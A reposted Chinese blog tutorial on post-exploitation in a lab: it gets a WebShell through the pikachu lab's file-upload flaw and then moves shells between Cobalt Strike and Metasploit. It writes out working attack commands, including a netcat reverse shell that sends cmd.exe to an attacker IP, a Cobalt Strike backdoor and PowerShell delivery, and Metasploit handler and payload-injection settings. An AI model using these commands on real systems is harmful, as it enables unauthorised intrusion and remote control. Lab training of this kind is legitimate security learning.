首页 最新 热门 推荐

  • 首页
  • 最新
  • 热门
  • 推荐

[权限提升] 常见提权的环境介绍

  • 25-02-20 14:41
  • 3939
  • 8991
blog.csdn.net

关注这个框架的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客

通过前期的渗透测试,我们大概率会拿到目标的一个 Shell,比如 WebShell 或者 MSF Shell 等等,不同的 Shell 对应提权的姿势也不同,比如有的 Shell 支持你远程桌面控制,这样的你点点就行,有的就只支持你命令行操作,就需要费点脑筋了。

本章主要讲解各种 Shell 的互相转化,即 WebShell 如何跳转到 MSF Shell,或者 Cobalt Strike Shell 上,了解了不同 Shell 的互相转化,届时你哪个提权顺手就用哪个。

0x01:WebShell

WebShell 就是通过蚁剑,菜刀,冰蝎等工具连接获取的 Shell,这些工具虽然可以很方便的执行命令,但对于提权来说还是太复杂了,我们得想办法将该 Shell 转化为 CobaltStrike Shell 或者 MSF Shell(这两款工具内置了一堆提权脚本,可以很方便提权)。

0x0101:如何获取一个 WebShell

WebShell 一般是通过目标站点漏洞获得的,下面简单演示一下如何拿到一个 WebShell。

先简单介绍一下环境:

  • 靶机 Windows 7:IP 192.168.0.108,安装了 PhpStudy 并且配置了 pikachu 靶场。

  • 攻击机 Windows 11:IP 192.168.0.1,安装了 “蚁剑” 与 BurpSuite。

访问靶机的 pikachu 靶场的 Unsafe Fileupload 的 client check 模块,随便上传一个图片:

如上,上传成功了,并且展示了文件保存的路径。这里是个简单的客户端校验的文件上传漏洞。我们定位 Burp 中的上传请求包:

将上面这个上传请求包丢到 Repeater 模块中,修改上传内容,我们上传一个 WebShell:

如上成功拿到上传的文件路径,我们做一些拼接,然后访问:

 http://192.168.0.108/pikachu/vul/unsafeupload/uploads/logo.php

然后我们使用中国蚁剑进行一个连接看看,密码就是 a:

如上成功连接,那么至此我们就得到了一个 WebShell,这个 WebShell 是通过目标服务器的 Web 漏洞拿到的:

0x0102:WebShell => CS Shell

WebShell 虽好,但是其对提权的支持几乎为 0。专业的事情还是得专业的来,本节讲解,如何将 WebShell 弹到 CobaltStrike。

简单介绍一下当前的环境吧:

  • 靶机 Windows 7:IP 192.168.0.108,安装了 PhpStudy 并且配置了 pikachu 靶场。

  • 攻击机 Windows 11:IP 192.168.0.1,安装了 CS 客户端,并且拿到了靶机的 WebShell。

  • 辅助机 Kali Linux:IP 192.168.0.100,安装了 CS 服务端

首先是在 Kali Linux 上将 CS 服务端开启起来:

 ./teamserver 192.168.0.100 admin

然后在 Windows 11 上,使用 CS 客户端连接服务端:

在 CS 上创建一个 HTTP 监听器,监听本机的 4444 端口,并命名为 attack:

然后选择 “Attacks” => “Packages” => “Windows Executable”(我们前面了解到靶机是个 Windows 机器),选择监听器为我们上面创建的 attack,点击 Generate 生成一份 Windows 后门程序:

将后门文件保存到本地后,打开 WebShell,将后门程序上传(像蚁剑这些 WebShell 都是自带文件上传功能的,如果读者对此不是很了解的话,建议先把工具学好):

如上,成功上传后门文件,然后打开 WebShell 终端界面,定位你上传的位置,并执行后门程序:

 artifact.exe

如上,成功上线 CS,此时我们获得的一般都是一个较低权限的账户,不过不要慌,CS 一堆提权工具会让你如鱼得水,成功提权的,这个是后话了。

0x02:反弹 Shell

反弹 Shell 的方式多种多样,有 Python 的,/bin/bash 的,这个无所谓,反正都是能拿到靶机的控制权,我们常见的接收反弹 Shell 的工具就是 nc 即 netcat,nc 不像前面的 WebShell 可以通过界面直接上传文件,所以这里也是主要简介如何将 nc 的 Shell 转到 CobaltStrike。

0x0201:拿到一个反弹 Shell

反弹 Shell,一般是目标存在 RCE 漏洞,你找到之后,如果是 Linux 系统用 bash 反弹连接基本就能成,如果是 Windows 系统也可以使用 PowerShell 来进行反弹连接,这里我们演示就比较糙,直接给靶机上传一个 nc 工具,然后让他把自己的控制权移交出来。

先来了解一下环境吧:

  • 靶机 Windows 7:IP 192.168.0.108,具有 Windows NetCat 工具。

  • 攻击机 Kali Linux:IP 192.168.0.100

首先,在攻击 Kali 上使用下面的命令监听本机的 7777 端口:

 nc -lvp 7777

然后在靶机上运行下面的命令,使用 nc 工具将靶机的控制权弹到 Kali 上:

 nc -e C:\Windows\System32\cmd.exe 192.168.0.100 7777

此时我们去看一下 Kali,如下,成功拿到靶机的反弹连接:

0x0202:反弹 Shell => CS Shell

WebShell 好歹还有个可视化的上传功能,反弹 Shell 就比 WebShell 更加糙了,啥也没就一个命令行,所以这里笔者主要讲解如何将反弹 Shell 重新上线到 CobaltStrike 上。我们还是先来理一下环境:

  • 靶机 Windows 7:IP 192.168.0.108,现在已经通过 NC 将控制权移交给了 Kali。

  • 攻击机 Kali Linux:IP 192.168.0.100,安装了 CS 服务端,并且获得了靶机的 Nc Shell。

  • 辅助机 Windows 11:IP 192.168.0.1,安装了 CS 客户端。

先在 Kali 上开启 Cobalt Strike 的服务端程序,然后使用 Windows 11 的 CS 客户端进行连接,创建一个名为 attack 的监听器,监听服务端的 4444 端口(上面的老流程,笔者这里就不详解了):

然后选择 “Attacks” => “Web Drive-by” => “Scripted Web Delivery(s)” 模块,我们做一个无文件落地的 CS PowerShell 反弹连接命令,选择前面我们创建的 attack 监听器:

点击 Launch 启动后,会给我们一段 PowerShell 的反弹连接代码:

在前面我们已经拿到了靶机的 Nc Shell 了,我们通过 Nc Shell 执行这段反弹连接代码,靶机自然就会上线 CS:

0x03:CobaltStrike

有时候,我们会通过网络钓鱼,直接让目标上线 CS,既然是直接上线 CS,那么就不用像前面那样还要转来转去了,CS 内部就有很多好用的提权插件。

CS 内部的提权插件虽然好用,量大,又管饱,但是架不住有时候你就是没办法用这些插件提权,所以呢,这里笔者主要介绍如何将 CobaltStrike Shell 转移到 MSF Shell,MSF 中也有一堆插件,既然 CS 不行,那我就用 MSF 再试一遍,如果都不行,再上网搜呗。

0x0301:拿到一个 CobaltStrike Shell

先来明确一下我们的实验环境:

  • 靶机 Windows 7:IP 192.168.0.108

  • 攻击机 Kali Linux:IP 192.168.0.100,安装了 CS 服务端

  • 辅助机 Windows 11:IP 192.168.0.1,安装了 CS 客户端

从靶机上拿一个 CS Shell 还是比较简单的,你可以按照上面 “反弹 Shell => CS Shell” 的方式,直接利用 CS 生成一个 PowerShell 反弹连接命令,然后跑靶机上执行,反正把靶机上线到 CS 上就行:

0x0302:CS Shell => MSF Shell

这里主要讲解如何将 CS Shell 迁移到 MSF 上,首先在 Kali 上启动 MSF,然后我们的靶机是 Windows 机器,所以我们需要在 MSF 中创建一个针对 Windows 的反弹链接监听程序:

  1.  use exploit/multi/handler
  2.  set payload windows/meterpreter/reverse_http  # 这里是使用 Windows HTTP 反弹连接监听模块
  3.  set LHOST 192.168.0.100 # 设置监听的机器为 Kali 自己
  4.  set LPORT 8888          # 设置监听的端口为 8888
  5.  run                     # 启动监听模块

然后我们来到 CS 客户端,创建一个监听器,命名为 “msf”,然后 Payload 设置为 “Foreign HTTP”,并设置监听的主机 IP 为攻击机 IP,监听的端口为 8888(与 MSF 对应):

然后在 CS 中右击那个上线的 Windows 靶机,选择 “spawn”,选择我们刚刚创建好的外部的 msf 监听器,即可将 CS 上的 Shell 上线到 MSF 上:

如下,攻击机中的 MSF 成功接收到 CS 传过来的靶机 Shell,解析来就可以使用 MSF 中的提权模块对靶机进行提权了:

0x04:MSF Shell

在上一小节中,我们演示了如何将 Cobalt Strike Shell 传递到 MSF 中。有时候我们还得反着来。那么本节就教你如何将 MSF Shell 传递到 Cobalt Strike 上。

0x0401:拿到一个 MSF Shell

对于拿到一个 MSF Shell,笔者这里就不细致的说了,方法有很多种,你可以针对目标平台使用 msfvenom 生成一个木马软件上传到靶机,然后通过运行木马拿到 Shell,你也可以使用 MSF 探测靶机的漏洞,使用漏洞直接拿到靶机权限,方法很多(如果读者实在不清楚的话,建议还是先学好 MSF 后再来看此节)。

0x0402:MSF Shell => CS Shell

老传统,先明确一下实验环境:

  • 靶机 Windows 7:IP 192.168.0.118

  • 攻击机 Kali Linux:IP 192.168.0.100,安装了 CS 服务端,已经拿到了靶机的 MSF Shell

  • 辅助机 Windows 11:IP 192.168.0.1,安装了 CS 客户端

书接上文,现在我们 MSF 中已经拿到了一台机子:

检查一下你的 CS 客户端,确保你里面有一个正在监听 4444 口的 Beacon HTTP 监听器:

然后回到 MSF,输入下面的命令,将这个 Shell 挂到后台,然后配置 Payload,将这个 Shell 注入到 CS 中:

  1.  bg # 将 Shell 挂起到后台
  2.  use exploit/windows/local/payload_inject # 使用 windows 载荷注入模块
  3.  set payload windows/meterpreter/reverse_http # 使用 HTTP 反弹连接载荷
  4.  set lhost 192.168.0.100                      # 设置目标为 CS 服务端 IP
  5.  set lport 4444                               # 设置端口为 CS 监听端口
  6.  set DisablePayloadHandler True
  7.  set PrependMigrate True
  8.  set session 1                                # 设置注入的会话为 Session 1
  9.  run                                          # 运行程序

如上,CS 客户端中成功上线靶机。

0x05:远程桌面

有时候进入了目标内网,进行内网信息收集的时候,你还可能发现你控制的靶机中有过连接其他机器的远程桌面历史记录,或者向日葵记录等,此时,你可能会得到一个远程桌面的界面:

针对这种提权,你都登录人家电脑了,你还不想点啥点啥,可操作性就更大了。不过有个限制,你无法直接向他传文件,所以你可能还得想办法让其上线其他的远控工具。

Hack3rX
微信公众号
这里是探索网络安全与黑客技术的秘密基地
注:本文转载自blog.csdn.net的Blue17 :: Hack3rX的文章"https://blog.csdn.net/m0_73360524/article/details/145394972"。版权归原作者所有,此博客不拥有其著作权,亦不承担相应法律责任。如有侵权,请联系我们删除。
复制链接
复制链接
相关推荐
发表评论
登录后才能发表评论和回复 注册

/ 登录

评论记录:

未查询到任何数据!
回复评论:

分类栏目

后端 (14832) 前端 (14280) 移动开发 (3760) 编程语言 (3851) Java (3904) Python (3298) 人工智能 (10119) AIGC (2810) 大数据 (3499) 数据库 (3945) 数据结构与算法 (3757) 音视频 (2669) 云原生 (3145) 云平台 (2965) 前沿技术 (2993) 开源 (2160) 小程序 (2860) 运维 (2533) 服务器 (2698) 操作系统 (2325) 硬件开发 (2492) 嵌入式 (2955) 微软技术 (2769) 软件工程 (2056) 测试 (2865) 网络空间安全 (2948) 网络与通信 (2797) 用户体验设计 (2592) 学习和成长 (2593) 搜索 (2744) 开发工具 (7108) 游戏 (2829) HarmonyOS (2935) 区块链 (2782) 数学 (3112) 3C硬件 (2759) 资讯 (2909) Android (4709) iOS (1850) 代码人生 (3043) 阅读 (2841)

热门文章

101
推荐
关于我们 隐私政策 免责声明 联系我们
Copyright © 2020-2025 蚁人论坛 (iYenn.com) All Rights Reserved.
Scroll to Top